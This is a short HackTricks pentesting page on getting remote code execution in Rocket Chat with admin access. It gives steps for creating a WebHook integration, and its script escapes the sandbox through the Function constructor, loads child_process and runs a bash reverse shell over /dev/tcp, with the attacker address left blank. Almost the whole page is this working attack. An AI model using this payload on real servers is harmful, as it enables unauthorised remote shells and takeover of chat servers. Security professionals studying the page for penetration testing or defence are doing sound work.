Rocket Chat

Support HackTricks


If you are admin inside Rocket Chat you can get RCE.

  • Got to Integrations and select New Integration and choose any: Incoming WebHook or Outgoing WebHook.

    • /admin/integrations/incoming

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/ 0>&1'")
  • Configure the WebHook (the channel and post as username must exists):

  • Configure WebHook script:

  • Save changes

  • Get the generated WebHook URL:

  • Call it with curl and you shuold receive the rev shell

Support HackTricks

Last updated